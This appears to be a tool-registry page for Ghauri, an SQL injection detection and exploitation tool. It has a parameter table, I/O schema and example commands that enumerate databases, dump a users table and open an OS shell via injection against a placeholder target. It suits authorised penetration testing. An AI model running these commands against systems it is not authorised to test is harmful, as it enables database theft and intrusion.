Advanced SQL injection detection and exploitation tool written in Go with support for multiple DBMS and injection techniques.
ghauri -u {target} --batch ๐ target โ url ghauri -u {target} --batch Sandbox: execFile · Timeout: 600s
web.attack.sql-injection web.vulnerability.scanner web.exploit.database web.enumeration.schema web.enumeration.table | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
url | string | Yes | - | Target URL with injection point | -u, --url |
data | string | No | - | POST data string for parameter injection | --data |
cookie | string | No | - | HTTP cookies for authenticated requests | --cookie |
random-agent | boolean | No | - | Use random User-Agent header | --random-agent |
level | integer | No | 1 | Injection depth level (1-5) | --level |
risk | integer | No | 1 | Risk level (1-3, higher = more dangerous) | --risk |
dbms | string | No | - | Force DBMS type (mysql, mssql, postgres, oracle, sqlite) | --dbms |
technique | string | No | - | Injection techniques to use (BEUSTQ) | --technique |
batch | boolean | No | - | Non-interactive mode, use default answers | --batch |
dump | boolean | No | - | Dump database table entries | --dump |
tables | boolean | No | - | Enumerate database tables | --tables |
columns | boolean | No | - | Enumerate table columns | --columns |
D | string | No | - | Specific database name to enumerate | -D, --db |
T | string | No | - | Specific table name to enumerate | -T, --table |
threads | integer | No | 1 | Number of concurrent threads | --threads |
proxy | string | No | - | HTTP proxy address | --proxy |
headers | string | No | - | Additional HTTP headers | --headers |
timeout | integer | No | 30 | Request timeout in seconds | --timeout |
os-shell | boolean | No | - | Prompt for an interactive OS shell | --os-shell |
sql-shell | boolean | No | - | Prompt for an interactive SQL shell | --sql-shell |
banner | boolean | No | - | Retrieve DBMS banner | --banner |
current-user | boolean | No | - | Retrieve current DBMS user | --current-user |
current-db | boolean | No | - | Retrieve current database name | --current-db |
dbs | boolean | No | - | Enumerate all databases | --dbs |
C | boolean | No | - | COL Target column(s) | -C |
current_db | boolean | No | - | Current database | --current-db |
current_user | boolean | No | - | Current DBMS user | --current-user |
os_shell | boolean | No | - | OS shell | --os-shell |
sql_shell | boolean | No | - | SQL shell | --sql-shell |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
dump.json | Dumped database contents as JSON | application/json | - | community |
dump.csv | Dumped database contents as CSV | text/csv | - | community |
Inputs
web.target.url Target URL with potential SQL injection point
web.target.data POST data for parameter injection
web.target.cookie Session cookies for authenticated injection
Outputs
dump.json Extracted database contents
dump.csv Extracted database contents as CSV
network_trafficnetwork_trafficfilesystem_write Produces
dump.jsondump.csvConsumes
web.target.urlweb.target.dataweb.target.cookie| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 256 MB |
| Network | medium |
| Disk I/O | low |
Basic SQL injection detection
ghauri -u "http://target.com/page?id=1" --batch Enumerate all databases
ghauri -u "http://target.com/page?id=1" --dbs --batch Dump a specific table
ghauri -u "http://target.com/page?id=1" -D mydb -T users --dump --batch OS shell via SQL injection
ghauri -u "http://target.com/page?id=1" --os-shell --batch POST injection with custom headers
ghauri -u "http://target.com/login" --data "user=admin&pass=test" --headers "X-Forwarded-For: 127.0.0.1" High risk scan through proxy
ghauri -u "http://target.com/page?id=1" --level 3 --risk 3 --proxy http://127.0.0.1:8080 --batch Ghauri is an advanced SQL injection detection and exploitation tool written in Go, inspired by sqlmap. It supports multiple DBMS types and injection techniques including Boolean-based, error-based, time-based, UNION query, and stacked queries.
# Basic detection
ghauri -u "http://target.com/page?id=1" --batch
# Enumerate databases
ghauri -u "http://target.com/page?id=1" --dbs --batch
# Dump a specific table
ghauri -u "http://target.com/page?id=1" -D mydb -T users --dump --batch
# Interactive SQL shell
ghauri -u "http://target.com/page?id=1" --sql-shell
| Technique | Flag | Description |
|---|---|---|
| Boolean | B | Boolean-based blind injection |
| Error | E | Error-based injection |
| Union | U | UNION query injection |
| Stacked | S | Stacked queries injection |
| Time | T | Time-based blind injection |
| Query | Q | Inline query injection |